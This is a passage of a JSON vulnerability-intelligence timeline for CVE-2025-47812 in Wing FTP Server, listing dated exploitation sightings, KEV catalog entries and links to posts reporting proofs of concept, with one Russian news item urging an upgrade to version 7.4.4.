"MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "fea0db70-8ea3-4e60-bda0-970cfeeaf869"}, {"timestamp": "2025-10-05T00:00:00Z", "date_only": false, "value": "2025-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-05)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "bd95e7fa-9562-4015-bfe7-25841f4b2671"}, {"timestamp": "2025-10-19T21:51:26.932Z", "date_only": false, "value": "2025-10-19T21:51:26.932714Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3m3lbvyw2li2a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d72fff0c-4139-43bb-adee-7592eebd66b2", "url": "https://bsky.app/profile/kriptabiz.bsky.social/post/3m3lbvyw2li2a"}, {"timestamp": "2025-10-22T00:33:19Z", "date_only": false, "value": "2025-10-22T00:33:19Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-J4XF-75RR-VVRV", "record": "GHSA-J4XF-75RR-VVRV", "field": "modified"}, {"timestamp": "2025-10-23T21:13:04Z", "date_only": false, "value": "2025-10-23T21:13:04.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "0aa2a6f1-8f58-49d7-b1dc-96b84dbeeb1a"}, {"timestamp": "2025-11-11T00:00:00Z", "date_only": false, "value": "2025-11-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-11)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "332eb721-60a0-4955-8502-238ccd410004"}, {"timestamp": "2025-12-31T14:27:12.295Z", "date_only": false, "value": "2025-12-31T14:27:12.295745Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/heinen.bsky.social/post/3mbc34t2za22g", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "9f8d846a-7da3-4bb1-a722-cb5e43a12fe5", "url": "https://bsky.app/profile/heinen.bsky.social/post/3mbc34t2za22g"}, {"timestamp": "2026-02-02T12:25:57.360Z", "date_only": false, "value": "2026-02-02T12:25:57.360836Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/72257e65-87cf-4139-86fe-fa4a5343065e", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "aafa5ad4-9a62-4494-a7a7-b7e6b5747697", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/72257e65-87cf-4139-86fe-fa4a5343065e"}, {"timestamp": "2026-02-02T12:25:57.360Z", "date_only": false, "value": "2026-02-02T12:25:57.360836Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/72257e65-87cf-4139-86fe-fa4a5343065e", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e54fb205-aeb2-43fa-8271-39a7c17b1b13", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/72257e65-87cf-4139-86fe-fa4a5343065e"}, {"timestamp": "2026-02-02T13:24:01Z", "date_only": false, "value": "2026-02-02T13:24:01+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2025-47812", "field": "timestamps.recorded_at", "uuid": "67ddc300-6b8c-4973-be9d-e75aa27209ac", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-15T00:00:00Z", "date_only": false, "value": "2026-02-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-15)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "33a8983a-0d8c-4297-8332-ae127d1bd150"}, {"timestamp": "2026-02-16T13:07:14.173Z", "date_only": false, "value": "2026-02-16T13:07:14.173622Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/1337sheets.bsky.social/post/3mey4l3mhyt2n", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "5142d726-e14a-4d24-bec3-2d40690ca8fb", "url": "https://bsky.app/profile/1337sheets.bsky.social/post/3mey4l3mhyt2n"}, {"timestamp": "2026-02-26T17:50:49.802Z", "date_only": false, "value": "2026-02-26T17:50:49.802Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2025-47812", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-02-26T17:50:49.802Z", "date_only": false, "value": "2026-02-26T17:50:49.802Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2025-47812", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-03-07T00:00:00Z", "date_only": false, "value": "2026-03-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-07)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b7a3b19d-5e1a-48ef-a617-8baf51d1e5f5"}, {"timestamp": "2026-03-16T16:48:08Z", "date_only": false, "value": "2026-03-16T16:48:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://cyber.gc.ca/en/alerts-advisories/wing-ftp-security-advisory-av25-391", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "5d79b3ea-d1a5-4e7c-9cc4-d55a0a02b431", "url": "https://cyber.gc.ca/en/alerts-advisories/wing-ftp-security-advisory-av25-391"}, {"timestamp": "2026-03-17T15:45:51Z", "date_only": false, "value": "2026-03-17T15:45:51.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/itsec_news/5953", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "f7ae6a15-fd7f-4145-acd0-e393ca8dbf44", "content": "CISA \u0432\u043d\u0435\u0441\u043b\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Wing FTP Server \u0432 KEV, \u0435\u0451 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. \u0420\u0435\u0447\u044c \u043e CVE-2025-47813 \u0432 Wing FTP Server \u0434\u043e 7.4.4. \u041f\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e NVD, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0434\u043b\u0438\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 cookie UID. \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, 4.3 CVSS. \u041d\u043e CISA \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 CVE \u0432 KEV \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u0422\u043e \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043e\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e Wing FTP \u0443\u0436\u0435 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2025-47812, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Wing FTP Server \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \u041d\u0435 \u0441\u0442\u043e\u0438\u0442 \u043d\u0435\u0434\u043e\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437-\u0437\u0430 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u043f\u043e CVSS.\n\nITsec NEWS", "url": "https://t.me/itsec_news/5953"}, {"timestamp": "2026-03-21T00:00:00Z", "date_only": false, "value": "2026-03-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-21)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "fd9a899b-5ff9-4695-9f93-66d854fee5c2"}, {"timestamp": "2026-03-22T00:00:00Z", "date_only": false, "value": "2026-03-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-22)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d22bcbab-361e-4431-9cf2-b0de759c6019"}, {"timestamp": "2026-04-02T00:00:00Z", "date_only": false, "value": "2026-04-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-02)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "677c4f1f-4d20-4df3-bf30-12b4626359f0"}, {"timestamp": "2026-04-25T03:00:05Z", "date_only": false, "value": "2026-04-25T03:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/LegGEKh0JTQmQ5caQ5fsgnXr59alAvRjbf9RqdH14mBAnic", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8fbd796d-48e5-4bbf-8f45-5717cf4904a9"}, {"timestamp": "2026-05-04T00:00:00Z", "date_only": false, "value": "2026-05-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-04)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "7e022204-716f-48db-8ac8-a2f63d1c04a4"}, {"timestamp": "2026-05-24T18:01:06Z", "date_only": false, "value": "2026-05-24T18:01:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/85728", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "de228a7d-6524-48fc-b633-810b57dc2d7a", "url": "https://t.me/GithubRedTeam/85728"}, {"timestamp": "2026-05-24T21:00:04Z", "date_only": false, "value": "2026-05-24T21:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Ob2oA_mupoVDMqE6Q_QCizAK8aYtg6z11DPx_SkAfocJmb0", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "fba539a4-2311-4bc0-adb7-257d06954657"}, {"timestamp": "2026-05-28T00:00:00Z", "date_only": false, "value": "2026-05-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-28)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4288ff67-6bdc-429a-8cbd-5ef905616fe9"}, {"timestamp": "2026-06-01T10:36:56Z", "date_only": false, "value": "2026-06-01T10:36:56+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2025-47812", "field": "timestamps.asserted_at", "uuid": "1917d9ac-746a-4aba-8379-3bcb5a982dbe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-01T10:36:56Z", "date_only": false, "value": "2026-06-01T10:36:56+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2025-47812", "field": "timestamps.first_seen_at", "uuid": "1917d9ac-746a-4aba-8379-3bcb5a982dbe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-01T10:36:56Z", "date_only": false, "value": "2026-06-01T10:36:56+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2025-47812", "field": "status.status_updated_at", "uuid": "1917d9ac-746a-4aba-8379-3bcb5a982dbe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-01T10:36:56.791Z", "date_only": false, "value": "2026-06-01T10:36:56.791Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2025-47812", "field": "evidence.0.details.added_date", "uuid": "1917d9ac-746a-4aba-8379-3bcb5a982dbe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-17T09:28:43.200Z", "date_only": false, "value": "2026-06-17T09:28:43.200", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-47812", "record": "FKIE_CVE-2025-47812", "field": "lastModified"}, {"timestamp": "2026-06-19T12:41:46Z", "date_only": false, "value": "2026-06-19T12:41:46+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2025-47812", "field": "timestamps.recorded_at", "uuid": "1917d9ac-746a-4aba-8379-3bcb5a982dbe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-19T12:42:18.785Z", "date_only": false, "value": "2026-06-19T12:42:18.785573Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/1917d9ac-746a-4aba-8379-3bcb5a982dbe", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "50cd9efd-4e41-43d9-aa95-f3a4a8cbf491", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/1917d9ac-746a-4aba-8379-3bcb5a982dbe"}, {"timestamp": "2026-06-19T12:45:29.219Z", "date_only": false, "value": "2026-06-19T12:45:29.219329Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3b02c8e4-5783-404e-b29d-77129e34a59b", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e206bb4c-4148-4596-b1e6-4ef3fa760b5e", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3b02c8e4-5783-404e-b29d-77129e34a59b"}, {"timestamp": "2026-06-23T14:03:54.171Z", "date_only": false, "value": "2026-06-23T14:03:54.171270Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1efd9642-4ca1-4082-b5ae-bb6e9a2579a5", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "aee1137b-33f9-46d2-8440-dd48d07afaea", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1efd9642-4ca1-4082-b5ae-bb6e9a2579a5"}, {"timestamp": "2026-06-30T09:23:47.372Z", "date_only": false, "value": "2026-06-30T09:23:47.372889Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5508e753-fd52-4709-87e0-2539f743aeb8", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a88a1651-fe2e-4821-8480-a769e3781ac2", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5508e753-fd52-4709-87e0-2539f743aeb8"}, {"timestamp": "2026-07-01T07:18:11.652Z", "date_only": false, "value": "2026-07-01T07:18:11.652715Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/8491d74a-1f3a-4b0e-bc64-f4f623bf4752", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8b7702e0-ee84-473b-93a0-c90f963a9b20", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/8491d74a-1f3a-4b0e-bc64-f4f623bf4752"}, {"timestamp": "2026-07-09T03:00:04.294Z", "date_only": false, "value": "2026-07-09T03:00:04.294839Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/iiLinux/2422", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "164b4fbc-712f-4afd-a570-bb30cd97383e", "url": "https://t.me/iiLinux/2422"}, {"timestamp": "2026-07-09T03:00:07.055Z", "date_only": false, "value": "2026-07-09T03:00:07.055975Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/2080", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "7d05151f-86d4-4e0e-a7bd-f114e6a9b031", "url": "https://t.me/brutsecurity/2080"}, {"timestamp": "2026-07-10T00:00:11.348Z", "date_only": false, "value": "2026-07-10T00:00:11.348295Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/iiLinux/2422", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "05fba65b-8105-4d57-a074-f97893a34b10", "url": "https://t.me/iiLinux/2422"}, {"timestamp": "2026-07-10T00:00:14.781Z", "date_only": false, "value": "2026-07-10T00:00:14.781044Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/2080", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8727a447-4457-4cc3-8c2c-5fe4c91a9e2b", "url": "https://t.me/brutsecurity/2080"}, {"timestamp": "2026-07-11T09:00:04.903Z", "date_only": false, "value": "2026-07-11T09:00:04.903350Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/iiLinux/2422", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "54e9b254-fb5d-4dad-8206-4e34d7fca60d", "url": "https://t.me/iiLinux/2422"}, {"timestamp": "2026-07-11T12:00:03.874Z", "date_only": false, "value": "2026-07-11T12:00:03.874386Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/2080", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "2b4e8fbd-c331-4d9f-96ef-3305a2863dcc", "url": "https://t.me/brutsecurity/2080"}, {"timestamp": "2026-07-12T00:00:50.315Z", "date_only": false, "value": "2026-07-12T00:00:50.315498Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/2080", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "bd55066c-6b59-49c0-b4cd-4856021f1560", "url": "https://t.me/brutsecurity/2080"}, {"timestamp": "2026-07-12T00:00:55.063Z", "date_only": false, "value": "2026-07-12T00:00:55.063367Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/iiLinux/2422", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "70a065ec-c130-4eb9-944f-6f04340c562a", "url": "https://t.me/iiLinux/2422"}, {"timestamp": "2026-07-19T10:00:06.040Z", "date_only": false, "value": "2026-07-19T10:00:06.040800Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-18)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "08b8cec3-7619-4811-8b03-d81f81e5d1bd"}, {"timestamp": "2026-07-20T21:00:05.862Z", "date_only": false, "value": "2026-07-20T21:00:05.862682Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/crackvaultde/1299", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8160c821-e940-4b6f-817f-376c90f28ecd", "url": "https://t.me/crackvaultde/1299"}, {"timestamp": "2026-07-21T00:00:17.746Z", "date_only": false, "value": "2026-07-21T00:00:17.746016Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/crackvaultde/1299", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e0dc9f68-cb14-41aa-93d9-c3ccf3f4b3c7", "url": "https://t.me/crackvaultde/1299"}, {"timestamp": "2026-07-22T05:00:05.580Z", "date_only": false, "value": "2026-07-22T05:00:05.580732Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pphm_HackerNews/629", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3ae24814-77db-4866-9172-8e9c40fa55ff", "url": "https://t.me/pphm_HackerNews/629"}, {"timestamp": "2026-07-23T00:00:24.412Z", "date_only": false, "value": "2026-07-23T00:00:24.412927Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pphm_HackerNews/629", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a55a9aba-b2b5-4344-92d1-15b41b3c0bff", "url": "https://t.me/pphm_HackerNews/629"}, {"timestamp": "2026-07-25T15:00:08.719Z", "date_only": false, "value": "2026-07-25T15:00:08.719209Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/637", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "55230f14-decc-484c-96e5-d80721e1a535", "url": "https://t.me/ZerodayAlert/637"}, {"timestamp": "2026-07-26T00:00:35.290Z", "date_only": false, "value": "2026-07-26T00:00:35.290300Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ZerodayAlert/637", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "75a01e9f-b2d0-4be9-864f-d39d4173e0ee", "url": "https://t.me/ZerodayAlert/637"}, {"timestamp": "2026-07-26T02:00:11.135Z", "date_only": false, "value": "2026-07-26T02:00:11.135594Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/877", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "c6bba5dd-b346-4bbd-83b2-deada8a4ca5b", "url": "https://t.me/cyberwarehouse/877"}, {"timestamp": "2026-07-27T00:00:30.979Z", "date_only": false, "value": "2026-07-27T00:00:30.979113Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/877", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "20acb1bd-8dc4-43a5-adc8-0b8680d9f1b6", "url": "https://t.me/cyberwarehouse/877"}, {"timestamp": "2026-07-29T12:02:03.036Z", "date_only": false, "value": "2026-07-29T12:02:03.036695Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/5251", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d155fa76-34e1-41e6-b1b1-4a2f69f114fe", "url": "https://t.me/reverseame/5251"}, {"timestamp": "2026-07-30T00:02:14.265Z", "date_only": false, "value": "2026-07-30T00:02:14.265729Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/5251", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a5acd1d6-5bbd-4f89-a82b-58079e1eb9e0", "url": "https://t.me/reverseame/5251"}, {"timestamp": "2026-08-02T01:00:03.582Z", "date_only": false, "value": "2026-08-02T01:00:03.582969Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/5251", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e744c298-0b00-4084-b19b-3a0906544fb0", "url": "https://t.me/reverseame/5251"}, {"timestamp": "2026-08-03T03:16:50.085Z", "date_only": false, "value": "2026-08-03T03:16:50.085808Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/5251", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "613f74c8-105b-4dad-b631-c526731226e4", "url": "https://t.me/reverseame/5251"}, {"timestamp": "2026-08-04T13:00:22.572Z", "date_only": false, "value": "2026-08-04T13:00:22.572086Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberok_news/118", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "2aa29a10-b96b-40d6-959d-d0dcd4d7f217", "url": "https://t.me/cyberok_news/118"}, {"timestamp": "2026-08-04T13:00:25.322Z", "date_only": false, "value": "2026-08-04T13:00:25.322225Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/bagl3y_notes/280", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "bfca3103-adaa-4b48-8c5b-e67946dafb2b", "url": "https://t.me/bagl3y_notes/280"}, {"timestamp": "2026-08-05T00:00:37.706Z", "date_only": false, "value": "2026-08-05T00:00:37.706139Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberok_news/118", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "002cf4f8-5cc0-41e0-878a-f854b4ff4401", "url": "https://t.me/cyberok_news/118"}, {"timestamp": "2026-08-05T00:00:40.913Z", "date_only": false, "value": "2026-08-05T00:00:40.913547Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/bagl3y_notes/280", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8aa93357-2e85-4086-981e-9367e4b483f4", "url": "https://t.me/bagl3y_notes/280"}, {"timestamp": "2026-08-06T00:00:40.789Z", "date_only": false, "value": "2026-08-06T00:00:40.789994Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/bagl3y_notes/280", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "017cfb5f-5054-4ac3-9855-441df703dcb9", "url": "https://t.me/bagl3y_notes/280"}, {"timestamp": "2026-08-06T00:00:47.678Z", "date_only": false, "value": "2026-08-06T00:00:47.678447Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberok_news/118", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "850d3b0d-da0c-40d8-be2e-073881706977", "url": "https://t.me/cyberok_news/118"}, {"timestamp": "2026-08-14T16:00:10.765Z", "date_only": false, "value": "2026-08-14T16:00:10.765278Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/purp_sec/833", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "bca00cfe-f778-4c90-8a21-8af7bbacf26f", "url": "https://t.me/purp_sec/833"}, {"timestamp": "2026-08-27T15:00:13.326Z", "date_only": false, "value": "2026-08-27T15:00:13.326432Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cve0day/237", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "22da945e-5a1e-4e71-9a15-b75385d8bfe7", "url": "https://t.me/cve0day/237"}, {"timestamp": "2026-08-29T00:00:29.866Z", "date_only": false, "value": "2026-08-29T00:00:29.866706Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cve0day/237", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "cd071d1c-3914-45b6-ab65-5e9ff89c17d5", "url": "https://t.me/cve0day/237"}, {"timestamp": "2026-09-02T06:00:14.668Z", "date_only": false, "value": "2026-09-02T06:00:14.668608Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/HackingTeamGrupoOfficial/45517", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b22c1fba-3c72-4d95-9834-3fedcc114b70", "url": "https://t.me/HackingTeamGrupoOfficial/45517"}, {"timestamp": "2026-09-03T00:00:47.561Z", "date_only": false, "value": "2026-09-03T00:00:47.561881Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingTeamGrupoOfficial/45517", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "59d4cfd3-f706-410a-ade1-a2a494012e0c", "url": "https://t.me/HackingTeamGrupoOfficial/45517"}, {"timestamp": "2026-09-04T10:00:13.838Z", "date_only": false, "value": "2026-09-04T10:00:13.838652Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "c2eaedb2-1461-416e-9b8d-06763aa90790"}, {"timestamp": "2026-09-20T10:00:08.814Z", "date_only": false, "value": "2026-09-20T10:00:08.814291Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-19)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "749bd778-3f06-4ee8-8678-706cfc4862a8"}, {"timestamp": "2026-10-28T00:00:00Z", "date_only": false, "value": "2026-10-28T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2025-47812", "field": "timestamps.last_seen_at", "uuid": "8491d74a-1f3a-4b0e-bc64-f4f623bf4752", 